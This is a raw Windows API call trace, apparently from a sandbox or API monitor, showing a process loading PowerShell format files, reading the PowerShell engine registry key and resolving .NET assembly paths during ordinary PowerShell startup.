[0039.796] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0039.796] GetLastError () returned 0x0
[0039.796] GetFileType (hFile=0x300) returned 0x1
[0039.796] SetErrorMode (uMode=0x1) returned 0x1
[0039.797] GetFileType (hFile=0x300) returned 0x1
[0039.797] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.798] GetLastError () returned 0x0
[0039.798] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.799] GetLastError () returned 0x0
[0039.799] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.799] GetLastError () returned 0x0
[0039.799] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.799] GetLastError () returned 0x0
[0039.799] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.799] GetLastError () returned 0x0
[0039.800] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0xfb2, lpOverlapped=0x0) returned 1
[0039.800] GetLastError () returned 0x0
[0039.800] ReadFile (in: hFile=0x300, lpBuffer=0x22b386e, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b386e*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.800] GetLastError () returned 0x0
[0039.800] ReadFile (in: hFile=0x300, lpBuffer=0x22b411c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22b411c*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.800] GetLastError () returned 0x0
[0039.801] CloseHandle (hObject=0x300) returned 1
[0039.801] GetLastError () returned 0x0
[0039.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.801] GetLastError () returned 0x0
[0039.801] SetErrorMode (uMode=0x1) returned 0x1
[0039.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d49ac | out: lpFileInformation=0x22d49ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1
[0039.801] GetLastError () returned 0x0
[0039.801] SetErrorMode (uMode=0x1) returned 0x1
[0039.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.801] GetLastError () returned 0x0
[0039.801] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0039.801] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0039.801] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0039.801] RegCloseKey (hKey=0x300) returned 0x0
[0039.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.801] GetLastError () returned 0x0
[0039.801] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.801] GetLastError () returned 0x0
[0039.803] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x223dd1b, Data2=0x2846, Data3=0x49f3, Data4=([0]=0xbb, [1]=0xc1, [2]=0x26, [3]=0x36, [4]=0xc8, [5]=0x94, [6]=0x7f, [7]=0x31))) returned 0x0
[0039.808] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe85e67dd, Data2=0x2e18, Data3=0x4d87, Data4=([0]=0x87, [1]=0x32, [2]=0xd4, [3]=0xaa, [4]=0x91, [5]=0x4, [6]=0x23, [7]=0xed))) returned 0x0
[0039.810] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xda891c95, Data2=0xff21, Data3=0x473a, Data4=([0]=0xbd, [1]=0xe7, [2]=0x41, [3]=0x3e, [4]=0x46, [5]=0xd1, [6]=0x34, [7]=0xe6))) returned 0x0
[0039.810] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd190e688, Data2=0x8d8a, Data3=0x4793, Data4=([0]=0x95, [1]=0xdb, [2]=0x5c, [3]=0x59, [4]=0x5f, [5]=0xab, [6]=0x2c, [7]=0x10))) returned 0x0
[0039.810] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd1e3970, Data2=0x6dfc, Data3=0x4273, Data4=([0]=0x88, [1]=0xa4, [2]=0xe2, [3]=0x16, [4]=0xdf, [5]=0xc1, [6]=0xea, [7]=0xe8))) returned 0x0
[0039.811] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa87156c1, Data2=0xe6ef, Data3=0x47f4, Data4=([0]=0xb5, [1]=0x94, [2]=0x2d, [3]=0xac, [4]=0xf6, [5]=0xfd, [6]=0xb2, [7]=0xe2))) returned 0x0
[0039.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.811] GetLastError () returned 0x0
[0039.811] SetErrorMode (uMode=0x1) returned 0x1
[0039.811] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0039.811] GetLastError () returned 0x0
[0039.811] GetFileType (hFile=0x300) returned 0x1
[0039.811] SetErrorMode (uMode=0x1) returned 0x1
[0039.811] GetFileType (hFile=0x300) returned 0x1
[0039.811] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.813] GetLastError () returned 0x0
[0039.813] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.813] GetLastError () returned 0x0
[0039.814] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.814] GetLastError () returned 0x0
[0039.814] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.814] GetLastError () returned 0x0
[0039.815] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.815] GetLastError () returned 0x0
[0039.815] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.815] GetLastError () returned 0x0
[0039.815] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0xaca, lpOverlapped=0x0) returned 1
[0039.815] GetLastError () returned 0x0
[0039.815] ReadFile (in: hFile=0x300, lpBuffer=0x22f39be, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f39be*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.815] GetLastError () returned 0x0
[0039.815] ReadFile (in: hFile=0x300, lpBuffer=0x22f4354, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x22f4354*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.815] GetLastError () returned 0x0
[0039.815] CloseHandle (hObject=0x300) returned 1
[0039.815] GetLastError () returned 0x0
[0039.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.816] GetLastError () returned 0x0
[0039.816] SetErrorMode (uMode=0x1) returned 0x1
[0039.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2315350 | out: lpFileInformation=0x2315350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1
[0039.816] GetLastError () returned 0x0
[0039.816] SetErrorMode (uMode=0x1) returned 0x1
[0039.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.816] GetLastError () returned 0x0
[0039.816] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0039.816] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0039.816] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0039.816] RegCloseKey (hKey=0x300) returned 0x0
[0039.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.816] GetLastError () returned 0x0
[0039.816] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.816] GetLastError () returned 0x0
[0039.829] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a
[0039.829] GetLastError () returned 0x0
[0039.831] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0039.831] GetLastError () returned 0x57
[0039.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48
[0039.837] GetLastError () returned 0x57
[0039.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.847] GetLastError () returned 0x57
[0039.856] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e
[0039.856] GetLastError () returned 0x57
[0039.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52
[0039.864] GetLastError () returned 0x57
[0039.873] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74
[0039.873] GetLastError () returned 0x57
[0039.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70
[0039.881] GetLastError () returned 0x57
[0039.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60
[0039.890] GetLastError () returned 0x57
[0039.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
[0039.899] GetLastError () returned 0x57
[0039.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c
[0039.908] GetLastError () returned 0x57
[0039.916] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
[0039.916] GetLastError () returned 0x57
[0039.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50
[0039.924] GetLastError () returned 0x57
[0039.933] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e
[0039.933] GetLastError () returned 0x57
[0039.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c
[0039.942] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de44, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.950] GetLastError () returned 0x57
[0039.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16de30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0039.950] GetLastError () returned 0x57
[0039.984] VirtualQuery (in: lpAddress=0x16d330, lpBuffer=0x16e330, dwLength=0x1c | out: lpBuffer=0x16e330*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.987] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc80029b1, Data2=0x158, Data3=0x44b8, Data4=([0]=0xa2, [1]=0xc3, [2]=0x47, [3]=0x85, [4]=0xe1, [5]=0x7, [6]=0xb0, [7]=0x3e))) returned 0x0
[0039.987] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xbe7a65c4, Data2=0x7623, Data3=0x4a3b, Data4=([0]=0xa8, [1]=0x6d, [2]=0xa4, [3]=0xd5, [4]=0x2d, [5]=0xc8, [6]=0x8e, [7]=0x8d))) returned 0x0
[0039.988] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.988] VirtualQuery (in: lpAddress=0x16d3a8, lpBuffer=0x16e3a8, dwLength=0x1c | out: lpBuffer=0x16e3a8*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.988] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1a5e4100, Data2=0x2db1, Data3=0x4f2e, Data4=([0]=0x8d, [1]=0xc, [2]=0x5e, [3]=0xd1, [4]=0xc3, [5]=0x44, [6]=0x37, [7]=0x42))) returned 0x0
[0039.992] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x14d78330, Data2=0xc68b, Data3=0x42d7, Data4=([0]=0x8e, [1]=0x76, [2]=0xf1, [3]=0x63, [4]=0xa4, [5]=0xa3, [6]=0x3e, [7]=0xc4))) returned 0x0
[0039.992] VirtualQuery (in: lpAddress=0x16d4d4, lpBuffer=0x16e4d4, dwLength=0x1c | out: lpBuffer=0x16e4d4*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.993] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
